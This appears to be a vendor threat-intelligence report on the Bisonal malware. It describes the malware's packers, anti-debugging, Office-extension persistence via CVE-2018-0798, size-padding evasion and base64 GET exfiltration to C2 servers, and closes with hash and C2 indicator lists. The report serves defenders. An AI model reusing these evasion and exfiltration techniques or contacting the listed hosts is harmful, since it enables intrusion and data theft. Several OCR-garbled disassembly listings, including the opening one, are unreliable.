		004015AA	68.40404000	meh. d83_sample, 404040	
	·	00401581	✓ E8 05	jmp d83_sample_401588	
	L	00401583	68 60404000	push_d83_sample.404060	
	\hookrightarrow	00401588	8045 A8	lea eax, dword ptr as: [ebp-58]	
	:	00401588	F8 55140000	call care a shore of	
		004015c1	66:A1 80404000	nov ax, word ptr ds: [404080]	
		004015c7	59	pop ecx	
	:	00401568	299	pop ecx push esti	
		004015CA	56	push esi	
		004015cB	6A 03	push 3	
		004015CD	56	push esi	
	:	004015CE	50	push est	
		00401500	8045 A8	lea eax, dword ptr ss: ebp-58	
		00401503	50	push eax	
312		00401504	53	push ebx	
34		00401508	8068	mov edi.exx	
		00401500	38710	cmp edi,esi	
		0040150F	8970 E4	mov_dword_ptr_ss:[ebp-10],edi	
		00401562	73 0E 8830 ar 324000	and dB3_sample_4015F2	location lies 1
		004015EA	53	push ebx	
		004015EB	FFD7	call edi	
		004015ED	56	push esi	
		004015EE	¥ F8 65	im d81 sample, 401657	
		004015F2	56	push esi	
		004015#3	68 00014084	push 84400100	
	:	004015#8	20	push est	
		004015FA	56	push esi	
		004015#B	68 2c494000	push_d83_sample.40492c	40492C: "ks8d169.25
		00401600	68 78414000	push d83_sample.404178	404178: "POST"
		00401605	FE15 8C324000	call dword atr ds [saitta0oanRea	ANTAN 1
		0040160c	8008	nov ebx, eax	
	•	0040160E	3806	cmp_ebx,esi	
		00401610	8950 E0	nov dword ptr ss: ebp-20, ebx	
		00401615	FF75 FC	push dword ptr ss: ebp-4	
		00401618	8835 AC324000	mov_esi, dword_ptr_ds;[@Internet@	loseHandlex]
		0040161E	FED6	call est	
		00401620	2/ FED6	coll esi	
		00401623	✓ E8 32	3mp d83_sample.401657	
	L	00401625	8045 E8	lea eax, dword ptr ss: ebp-18	
		00401628	6A 08	push 8	
		0040162A	56	push esi	
		1	1 11	and the second sec	
	γ Ψ 				,
aword b	CP 1004032C0	-des_sample.	autoennetConnectA-j=-arininet.I	Non conlictor	
				Non ascii string 🛶	
.text:0	0401505 d83_	sample.exe:\$1	505 #1505		
-				A6	02181714 0000004
gių Dur	np 1 🔛 Du	mp 2 🔛 Du	mp 3 🔛 Dump 4 🔛 Dump S	Wator 1 x+ Locals 2 Struct	0238F718 0238F828
Address	Hex		Las	ru l	0238F71C 02386040
0238F82	8 B3 83 C2	FA FE 8E 76 1	E8 4F BE 98 DA 54 65 OA 20 👔	λάβ.vèON.ÚTe.	0238F720 0000000 0238E724 0000000
0238FB3	8 90 16 52	C8 88 9C CF	31 68 44 1F 69 8A 9E 00 00 .	<pre>#E,.11kD.1*</pre>	0238F728 00000003
0238684	8 C8 43 40	00 78 56 34	12 32 02 p9 96 04 c6 38 02 cc	10. yv4. 2. ú. ú.	0238F72C 0000000
0238585	8 81 B2 A8	97 7E A3 18	91 40 75 A4 75 18 49 40 00	f.,0u=u.10.	0238F730 0000000 0238r734 0000000
0238FB7	8 13 15 40	00 04 00 CC 0	00 70 FF 38 02 1E 15 40 00	01.py;0.	0230F738 0000000
0238F88	8 00 00 00	00 79 13 40 0			0238F73C 0000000
0230FB9	A FE FE FE	FE 0E 00 07	00 SC 10 ES 77 F7 57 F1 77 90	109	023nF740 0000000
0238F88	8 84 00 00	00 00 00 00	00 00 00 00 00 49 58 51 77	1Xáw	0238F744 0000000 0238F748 0000000
0238FBC	8 F2 57 E1	77 83 C9 A8	16 00 70 34 00 00 00 00 00 00	dw2£p4	0238F74C 0000000
0238680	8 00 30 35	00 00 00 00 00		0	0238F750 00000001
0230505	8 00 00 00	00 00 00 00	00 B8 96 5A 00 24 00 00 00		0238F754 77DE8D98
0010000	8 01 00 00	00 00 00 00	00 00 00 00 00 70 00 00 00 .		0238F75c 0238F35c
0230FC0					100 JUL 201 JUL 100 JUL 301
0238FC0 0238FC1	8 FF FF FF	FF FF FF FF I	FF DB 1C E3 77 39 58 E1 77 91	yyyyyy0. âw9xâw	0238F760 0000008

SHA256: 92be1bc11d7403a5e9ad029ef48de36bcff9c6a069eb44b88b12f1efc773c504 C2: kted56erhg[.]dynssl[.]com

SHA256: d83fbe8a15d318b64b4e7713a32912f8cbc7efbfae84449916a0cbc5682a7516 C2 fail: hxxp://硟满v鏡緲赥e ?r雀溝1kdi簽:70/ks8d0.0.0.0akspbu.txt

2019 - Office Extension and a new packer

Packer

Static analysis of this executable shows only two functions, but a regular number of imports.

This time the packer shares some of the characteristics from the advanced one used in 2016.



There is a lot of useless code, including jumps and bswap operations. Upon detecting a debugger attached to it, the malware will display the message below and terminate the execution.



This message translates to "The debugger was found to be running in your operating

system. This turns it off before running the program again!".

This packer also hides the calls to API functions. This time instead of using a dispatcher function, the malware pushes the arguments into the stack as usual but will then perform a call to a jump table built during the unpacking, in the .text section memory region.

0045B05F	90	nop
0045B060	✓ 72 00	jb d7_sample.45B062
0045B062	E9 E91AF571	jmp <wininet.httpopenrequesta></wininet.httpopenrequesta>
0045B067	7E A9]le d7_sample.458012
0045B069	DG	salc
0045B06A	D4 9A	aam 9A
0045B06C	1822	sbb esp,dword ptr ds:[edx]
0045B06E	C2 C497	ret 97C4
0045B071	304F 27	<pre>xor byte ptr ds:[edi+27],c]</pre>
0045B074	CE	into
0045B075	66:45	inc bp
0045B077	56	push esi
0045B078	5 E	pop esi
0045B079	✓ 74 00	je d7_sample.45B07B
0045B07B	E9 100AE971	jmp <wininet.internetopena></wininet.internetopena>
0045B080	A5	movsd
0045B081	E2 B0	loop d7_sample.45B033
0045B083	24 99	and al,99
0045B085	90	nop
0045B086	5 B	pop ebx
0045B087	35 471FDEBD	xor eax, BDDE1F47
0045B08C	81DB 4684C4EE	sbb ebx,EEC48446
0045B092	71 00	jno d7_sample.45B094
0045B094	71 00	jno d7_sample.45B096
0045B096	E9 1538E671	<pre>imp <wininet.internetreadfile></wininet.internetreadfile></pre>
0045B09B	E7 F9	out F9,eax
0045B09D	74 21	je d7_sample.45B0C0
0045B09F	40	inc eax
0045B0A0	DC2A	fsubr st(0), gword ptr ds:[edx]
0045B0A2	80AE B34C1758 B3	sub byte ptr ds:[esi+58174CB3],B3
0045B0A9	CB	ret far
0045B0AA	D95A 9D	<pre>fstp dword ptr ds:[edx-63],st(0)</pre>
0045B0AD	59	pop ecx
0045B0AE	✓ 73 00	jae d7_sample.45B0B0
0045B0B0	87D3	xchg ebx,edx
0045B0B2	87DA	xchg edx,ebx
0045B0B4	E9 07C8EA71	jmp <wininet.internetconnecta></wininet.internetconnecta>
0045B0B9	A2 5AC6C5DB	mov byce ptr ds:[DBCSC65A],al
0045B0BE	F655 68	not byte ptr ss:[ebp+68]
0045B0C1	1E	push ds
0045B0C2	BE 7E5A0114	mov esi,14015A7E
0045B0C7	DEEB	fsubp st(3),st(0)
0045B0C9	OE	push cs
0045B0CA	024F 4E	add cl,byte ptr ds:[edi+4E]
0045B0CD	✓ 74 00	je d7_sample.45BOCF
0045B0CF	90	nop
0045B0D0	E9 DB5E5E77	jmp <user32.loadiconw></user32.loadiconw>

Even though a call is made, these are not functions, in fact, most of the code in this jump table is useless except for the last instruction of each entry. Each entry finishes with a jmp instruction into the respective API function. Effectively the malware doesn't do any call to API functions, it always performs a jump. The return address is loaded into the stack when the malware does a call to the jump table. The end result is the same has in the packer from 2016, but with a simpler mechanism.

The majority of the code was moved into a packed area. The malware configuration (such as C2 server and the User-Agent) is outside that area. The packer uses a thread-local storage (TLS) callback to unpack some of the code. At this stage, it uses in-place unpacking avoiding

memory allocations. One of the anti-analysis features included in this packer is the lack of calls to API functions. In the early stages of execution, the malware loads the libraries and retrieves the addresses from functions it needs.

Feature-wise, there is no change when compared with the 2016 version, in fact when compared the C2 beaconing functions even share some of the offsets.

Office Extension

In 2019, the actor behind Bisonal used a new way to deploy the machine on the target's systems. They sent a malicious RTF document to the targets with an exploit targeting the CVE-2018-0798 (Microsoft's Equation Editor vulnerability). The purpose of the shellcode was not to execute the malware (as it is usual) but simply to drop it in the %APPDATA%\microsoft\word\startup\ repository with the .wll extension.

The libraries in this directory with this specific extension will be loaded as a Microsoft Office extension. So next time the user opens an Office application, the malware will be loaded and executed. The purpose of the malware is to deploy Bisonal on the infected system (\$tmp\$\tmplogon.exe) and to create a Run registry key in order to execute Bisonal at the next reboot of the system.

We think the purpose of this multistage execution is an anti sandbox technique. If you look at the report after executing the malicious document, you only see one action: the .wll file creation. The user also needs to open an Office application and finally a reboot is needed in order to execute the real payload: Bisonal.

Bigger is better

We identified a version of Bisonal using Office extension with a really specific behavior during the installation of the malicious payload. The dropper appends 80MB of binary data at the end of the Bisonal binary:

		•		•					
	📕 🚅 🔚								
2	xor	al, al							
	рор	esi	loc_10	3001030:					
r	mov	esp, eb	p push	edi					
	рор	ebp	push	0					
	retn		lea	eax, [ebp+var_4]					
-			push	eax					
			push	7D000h					
			push	offset PE_Xored					
			push	esi					
			call	WriteFile_					
			mov	edi, 230000h					
			lea	ecx, [ecx+0]					
			·						
📕 🐋 🖂									
loc_100	01050:								
push	0								
lea	ecx,	[ebp+var	_4]						
push	ecx								
push	24h ;	'\$'							
push	ush offset a00110101001101 ; "0011010100110110010011010010011011001"								
push	esi								
call	Write	File_							
	edi								
dec	CUL								

The binary value is "56MM" is ASCII characters. If we look at the malware, we can see the appended data:

0008dda0	30	31	31	30	30	31	30	30	31	31	30	31	30	31	30	30	0110010011010100
0008ddb0	31	31	30	31	31	30	30	31	30	30	31	31	30	31	30	31	1101100100110101
0008ddc0	30	30	31	31	30	31	31	30	30	31	30	30	31	31	30	31	0011011001001101
0008ddd0	30	31	30	30	31	31	30	31	31	30	30	31	30	30	31	31	0100110110010011
0008dde0	30	31	30	31	30	30	31	31	30	31	31	30	30	31	30	30	0101001101100100
0008ddf0	31	31	30	31	30	31	30	30	31	31	30	31	31	30	30	31	1101010011011001
0008de00	30	30	31	31	30	31	30	31	30	30	31	31	30	31	31	30	0011010100110110
0008de10	30	31	30	30	31	31	30	31	30	31	30	30	31	31	30	31	0100110101001101
0008de20	31	30	30	31	30	30	31	31	30	31	30	31	30	30	31	31	1001001101010011
0008de30	30	31	31	30	30	31	30	30	31	31	30	31	30	31	30	30	0110010011010100
0008de40	31	31	30	31	31	30	30	31	30	30	31	31	30	31	30	31	1101100100110101
0008de50	30	30	31	31	30	31	31	30	30	31	30	30	31	31	30	31	0011011001001101
0008de60	30	31	30	30	31	31	30	31	31	30	30	31	30	30	31	31	0100110110010011
0008de70	30	31	30	31	30	30	31	31	30	31	31	30	30	31	30	30	0101001101100100
0008de80	31	31	30	31	30	31	30	30	31	31	30	31	31	30	30	31	1101010011011001
0008de90	30	30	31	31	30	31	30	31	30	30	31	31	30	31	31	30	0011010100110110
0008dea0	30	31	30	30	31	31	30	31	30	31	30	30	31	31	30	31	0100110101001101
0008deb0	31	30	30	31	30	30	31	31	30	31	30	31	30	30	31	31	1001001101010011

We are not sure of the purpose of the creation of a huge binary. It could be an anti-analysis technique. Some tools limit the size of the analyzed files. For example, by using the VirusTotal standard API, we cannot upload files bigger than 32MB. We also identified sandboxes that cannot handle big files correctly. Remember, size matters.

The developer partially refactored the code. The variant from 2019 keeps exactly the same features. The two main changes are the obfuscation and the network protocol to communicate to the C2 server.

The developers used two different obfuscation algorithms: one for the C2 encoding and one for the data. The C2 encoding is a simple XOR (as in 2012):



The C2 encoding communication is also different. As the data are now sent with the GET method, the data must be in ASCII. That's they add base64 encoding in order to get supported characters in the HTTP query.

For the first time, the developer switched from POST requests to GET requests:

```
add
        esp, 0Ch
lea
        ecx, [esp+19C14h+szObjectName]
                            dwContext
push
        0
                          ;
                           dwFlags
push
        84400100h
                            lplpszAcceptTypes
push
                          ;
        0
push
                           lpszReferrer
                          ;
        0
                           lpszVersion
push
                          ;
        0
                            lpszObjectName
push
        ecx
                          ;
        offset szVerb
                           "GET"
push
push
        ebx
                            hConnect
call
        ds:HttpOpenRequestA
mov
        esi, eax
        esi, esi
test
        short loc 401940
jnz
```

The exfiltrated data is appended to the URL. Here is the pattern: hxxp://C2_domain/MalwareIDVictimIP**ThirdID**ExfiltratedDataBase64

SHA256:37d1bd82527d50df3246f12b931c69c2b9e978b593a64e89d16bfe0eb54645b0 C2 URL:hxxp://www[.]amanser951[.]otzo[.]com/uiho0.0.0.0edrftg.txt

2020 Business as Usual

Ahnlab, a South Korean software company, simultaneously published a <u>paper</u> regarding Bisonal's activity in South Korea. In this case, the infection vector has changed from previous samples. The initial stage is a binary that drops a decoy document (Powerpoint or Excel document), a VisualBasic script and the packed Bisonal payload. The payload is dropped with a .jpg extension that's been renamed to ".exe." Here is an example decoy document:



The purpose of the VisualBasic script is to execute the payload. Similar to attacks in 2019, the attacker appends data in order to generate a large binary. Although the malicious part of the binary is only 2MB, the final file is more than 120MB in size, padded out with random data. This may be an attempt to evade antivirus engines that only scan up to a maximum file size. The payload has been packed with a new packer.

The code of Bisonal is similar to the version of 2019. The attacker implements indirect API calls by using GetProcAddress() and LoadLibrary() API.

```
ebp, ds:LoadLibraryW
mov
        offset LibFileName ; "Shell32.dll"
push
call
        ebp ; LoadLibraryW
mov
        esi, ds:GetProcAddress
mov
        ebx, eax
push
        offset ProcName ; "ShellExecuteW"
push
        ebx
                        ; hModule
call
        esi ; GetProcAddress
push
        offset aShellexecuteex ; "ShellExecuteExW"
                        ; hModule
push
        ebx
mov
        ShellExecuteWAPI, eax
call
        esi ; GetProcAddress
        offset aShchangenotify ; "SHChangeNotify"
push
                        ; hModule
push
        ebx
mov
        ShellExecuteExWAPI, eax
call
        esi ; GetProcAddress
        offset aShlwapiDll ; "Shlwapi.dll"
push
        SHChangeNotifyAPI, eax
mov
call
        ebp ; LoadLibraryW
        offset aShdeletevaluea ; "SHDeleteValueA"
push
                        ; hModule
push
        eax
call
        esi ; GetProcAddress
        offset aWininetDll ; "wininet.dll"
push
mov
        SHDeleteValueAAPI, eax
call
        ebp ; LoadLibraryW
mov
        ebx, eax
push
        offset aInternetopena ; "InternetOpenA"
                        ; hModule
push
        ebx
call
        esi ; GetProcAddress
push
        offset aInternetconnec ; "InternetConnectA"
push
                        ; hModule
        ebx
mov
        InternetOpenAAPI, eax
call
     esi ; GetProcAddress
push
        offset aInternetcloseh ; "InternetCloseHandle"
push
        ebx
                        ; hModule
        InternetConnectAPI, eax
mov
Sha256: b7ef3ec4d9b0fd29c86c9a4b2a94819a80c83e44cdc47a9091786d839be6a7c4
```

C2: imbc[.]onthewifi[.]com

Bisonal timelines summary



Conclusion

The actor behind Bisonal is clearly motivated and has an interest in Russian, Korean and Japanese victims. The development of Bisonal has been active for more than a decade. We have observed the code evolving with the different publications but also with the evolution of Microsoft Windows.

However, specific functions are still used today, many years after the original implementation of the Bional malware. Even if Bisonal could be considered as simple with less than 30 functions, it has spent its life targeting sensitive entities in both the public and private sectors. Some campaigns were even mentioned on mainstream media against military entities within the mentioned regions.

During the decade of activities, we also can see mistakes and rollbacks from the attackers. For example, in one campaign they put the domain name of the C2 server in plaintext in the malware which had the function to generate a non-ASCII string for the C2 servers once decoded. In this condition, the malware cannot work on the compromised system. Even after so many years of activities, the attackers make mistakes.

We don't see any reason why this actor will stop in the near future. With this investigation and the analysis of this decade of activity, we hope to force this actor to innovate by providing a better understanding of his arsenal and more specifically how Bisonal works.

Coverage

Ways our customers can detect and block this threat are listed below.

Product	Protection
AMP	✓
Cloudlock	N/A
CWS	√
Email Security	✓
Network Security	√
Stealthwatch	N/A
Stealthwatch Cloud	N/A
Threat Grid	√
Umbrella	✓
WSA	✓

Advanced Malware Protection (<u>AMP</u>) is ideally suited to prevent the execution of the malware used by these threat actors. Exploit Prevention present within AMP is designed to protect customers from unknown attacks such as this automatically.

Cisco Cloud Web Security (<u>CWS</u>) or <u>Web Security Appliance (WSA</u>) web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as Next-Generation Firewall (<u>NGFW</u>), Next-Generation Intrusion Prevention System (<u>NGIPS</u>), <u>Cisco ISR</u>, and <u>Meraki MX</u> can detect malicious activity associated with this threat.

<u>AMP Threat Grid</u> helps identify malicious binaries and build protection into all Cisco Security products.

<u>Umbrella</u>, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on <u>Snort.org</u>.

IOCs

OSQuery

Cisco AMP users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries on this threat, click below:

- Bisonal File Path Detected
- Bisonal Registry Detected

SHA256:

0cf9d9e01184d22d54a3f9b6ef6c290105eaa32c7063355ca477d94b130976af 7dc58ff4389301a6eccc37098682742b96e5171d908acdeb62aeaa787496c80a 0ff88a6cd7dcd27f14ebb7b2c97727b81e1aa701280d1164685c52c234e4a9df 8252f2cdedf16f404d43c81d005ea8ebb10594477f738e40efacf9013e1470d2 915ad316cfd48755a9e429dd5aacbee266aca9c454e9cf9507c81b30cc4222e5 1128d10347dd602ecd3228faa389add11415bf6936e2328101311264547afa75 92be1bc11d7403a5e9ad029ef48de36bcff9c6a069eb44b88b12f1efc773c504 15d5c84db1fc7e13c03ff1c103f652fbced5d1831c4d98aad8694c08817044cc 9638e7bb963ac881bd81071d305dea91b040536c55b7ee79b526b8afcfad6972 1e66579b856cd331518d67c351bcb2b102399d8ade53370797228b289e905dc1 979d4e6665ddd4c515f916ad9e9efd9eca7550290507848c52cf824dfbd72a7e 22b3a86f91d2eb5a8a1e1cdc044bcf6aca898663071be5233bac00c0f0d3c001 9c86c2dd001c47b933c6b5f43c8f87a6d0c01c066e3520e651fab51d19355d3c 2c1e0facf563bb2054d9a883144ef9bad77ba75cdb46cc80843821c363c0a9dc a4a5c60a392d236b76907f58597e83ba9c9d4cfc6a4502ef3e0e149b8710a0c6 359835c4a9dbe2d95e483464659744409e877cb6f5d791daa33fd601a01376fc b1da7e1963dc09c325ba3ea2442a54afea02929ec26477a1b120ae44368082f8 37d1bd82527d50df3246f12b931c69c2b9e978b593a64e89d16bfe0eb54645b0 b75c986cf63e0b5c201da228675da4eff53c701746853dfba6747bd287bdbb1d 43459f5117bee7b49f2cee7ce934471e01fb2aa2856f230943460e14e19183a6 b85e4168972b28758984f919aef2ce0fde271ee1f0863510e521a2920fcc658e 43606116e03672d5c2bca7d072caa573d3fc2463795427d6f5abfa25403bd280 bd1a9b148580dad430683639b747d1c49932db5d8f6eb2d90e2583af976810dc 436fc9530015c2d2b952a16d2a3dfa202d1cb1c577b580811b9b48355855591b c5496dc3fa96b657ab4467c551877bbced56fd07c00c7ccb199c1794235bf710 444e864a3bb2abb1edccab4a5cd45bc0039f2a48e01615b2719da65a40a5140e c6baef8fe63e673f1bd509a0f695c3b5b02ff7cfe897900e7167ebab66f304ca cdba1a69d75f3e2256dccc16255aef07ded41c257b2cc95ccb801a0063445926 5caada5737b0a6c8c8f8a27bfcd0fb2221af68a4856278c3919b37279daa7409 d19b85891dd0f83808b70fbe68a56a64e828611dfe53d04a6c1c211f1352b5b5 6676934d7f214cb256407400357c1f7ead69a523b3017f6a5bc30d06a11a8305 d7692a71b85c869ee11647b80ea6d42b2e4303233c525a8fa7e6bec3599e2c8b 67e286c7308dda5cd8fe4a1340f354927e5791ce6ef0ef02c93a4e063e11c4ad d83fbe8a15d318b64b4e7713a32912f8cbc7efbfae84449916a0cbc5682a7516 6c714653a8fa54eef1de2f0148e5e8cf514907f6f523bf09c8ee126bebcdbdcc

dd88b31275b7079899d945fc6de2dceaf7e8fc143ef24be5bb336585ddf6af1e 6cc4707942f9323347c95066a43b30f874f1b1c783960cf8ed9ecf5914f85ba7 eb7681c653ef1942103cd3272fd124eaf73e79bb830be978535c18b73c87b985 6ef4df8460ba57b836f52a9a73e2d739a3f2aa832bec6b663af53b55dc74a63d effd31b11bdc6486082967c2d8e53d979e59a88ba28e68a1c94f5a064a8a966d 6f4a1b423c3936969717b1cfb25437ae8d779c095f158e3fded94aba6b6171ad 6f8bbea18965b21dc8b9163a5d5205e2c5e84d6a4f8629b06abe73b11a809cca f3a30e5f8bfd0f936597bcef7cb43df11ec566467001dff9365771900e90acb1 77a36530555eada268238050996839bd34670e8bfda477c30d9dd66574625f59 f9302b7ecc32b891edeaf61353dc5e976832b7104ec0d36f1641f1f40cf6fe12 799d858ff77c29684fc1522804ed45c24171484d9618211c817df01424bc981a 23d263b6f55ac81f64c3c3cf628dd169d745e0f2b264581305f2f46efc879587 72f6a54d0d09a16e6fde9800aa845cd1866001538afb2c8f61f3606f5e13f35a 4bad5898373eb644662a8c1d5d5c674e2558908e34bb2fd915f3350b0f28752b b7ef3ec4d9b0fd29c86c9a4b2a94819a80c83e44cdc47a9091786d839be6a7c4

C2 servers:

0906[.]toh[.]info dnsdns1[.]PassAs[.]us euiro8966[.]organiccrap[.]com jennifer998[.]lookin[.]at kfsinfo[.]ByInter[.]net kted56erhg[.]dynssl[.]com mycount[.]MrsLove[.]com since[.]qpoe[.]com usababa[.]myfw[.]us v3net[.]rr[.]nu www[.]amanser951[.]otzo[.]com www[.]amanser951.otzo[.]com 137[.]170[.]185[.]211 196[.]44[.]49[.]154 21kmg[.]my-homeip[.]net 61[.]90[.]202[.]197 61[.]90[.]202[.]198 69[.]197[.]149[.]98 agent[.]my-homeip[.]net applejp[.]myfw[.]us dnsdns1[.]PassAs[.]us emsit[.]serveirc[.]com etude[.]servemp3[.]com euiro8966[.]organiccrap[.]com

faceto[.]UglyAs[.]com games[.]my-homeip[.]com hansun[.]serveblog[.]net hxxp://硟满v鏡緲赥e?r雀溝1kdi簽:70/ks8d0.0.0.0akspbu.txt indbaba[.]myfw[.]us kazama[.]myfw[.]us kreng[.]bounceme[.]net kted56erhg[.]dynssl[.]com mycount[.]MrsLove[.]com navego[.]serveblog[.]net shinkhek[.]myfw[.]us wew[.]mymom[.]info www[.]hosting[.]tempors[.]com www[.]nayana[.]adultdns[.]net www[.]dds.walshdavis[.]com imbc[.]onthewifi[.]com